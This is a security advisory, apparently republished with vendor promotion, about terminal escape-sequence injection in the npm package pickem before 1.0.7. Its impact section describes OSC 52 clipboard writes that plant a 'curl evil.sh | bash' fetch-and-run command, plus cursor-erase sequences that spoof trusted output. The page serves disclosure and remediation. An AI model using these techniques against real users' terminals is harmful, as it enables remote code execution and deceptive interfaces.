Summary
pickem vulnerable to terminal escape-sequence injection via unsanitized item text
Workarounds
Upgrade to >= 1.0.7. Otherwise, strip C0/C1/DEL control characters and ANSI escape sequences from any untrusted text before passing it to pickem.
Impact
pickem rendered item text (label, description, group, meta, name) to the terminal with no control-character sanitization. chrome.row only stripped ANSI from the active row; inactive rows, the public createFormatter, and selection-summary lines printed labels raw, and the ANSI strip missed bare C0 controls anyway.
Because item text is frequently attacker-controllable (git branch names, PR/issue titles, filenames, npm/API results), a malicious label was a terminal write primitive:
- OSC 52 clipboard write, silently load e.g.
curl evil.sh | bashinto the user's clipboard; their next paste-into-shell is RCE. - Cursor-movement + erase (
ESC[1A,ESC[2K), overwrite already-printed trusted lines to spoof UI (forge a "✓ Verified publisher", fake prompt, or hide a malicious entry). - BEL / C0 control flooding.
Any CLI that passes untrusted strings into pickem choices is affected.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Fixed in 1.0.7. A new sanitizeDisplay() strips every escape sequence except inert SGR (color), plus all C0/C1/DEL control bytes, at the render boundary, applied to every externally-supplied display string across all prompts (select, search, checkbox, searchable-checkbox, input), createFormatter, row meta, and committed selection summaries. Display-only; returned values are unchanged.
Frequently Asked Questions
- What is GHSA-8QX3-8GM5-9CJ2? GHSA-8QX3-8GM5-9CJ2 is a high-severity security vulnerability in pickem (npm), affecting versions < 1.0.7. It is fixed in 1.0.7.
- Which versions of pickem are affected by GHSA-8QX3-8GM5-9CJ2? pickem (npm) versions < 1.0.7 is affected.
- Is there a fix for GHSA-8QX3-8GM5-9CJ2? Yes. GHSA-8QX3-8GM5-9CJ2 is fixed in 1.0.7. Upgrade to this version or later.
- Is GHSA-8QX3-8GM5-9CJ2 exploitable, and should I be worried? Whether GHSA-8QX3-8GM5-9CJ2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-8QX3-8GM5-9CJ2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-8QX3-8GM5-9CJ2? Upgrade
pickemto 1.0.7 or later.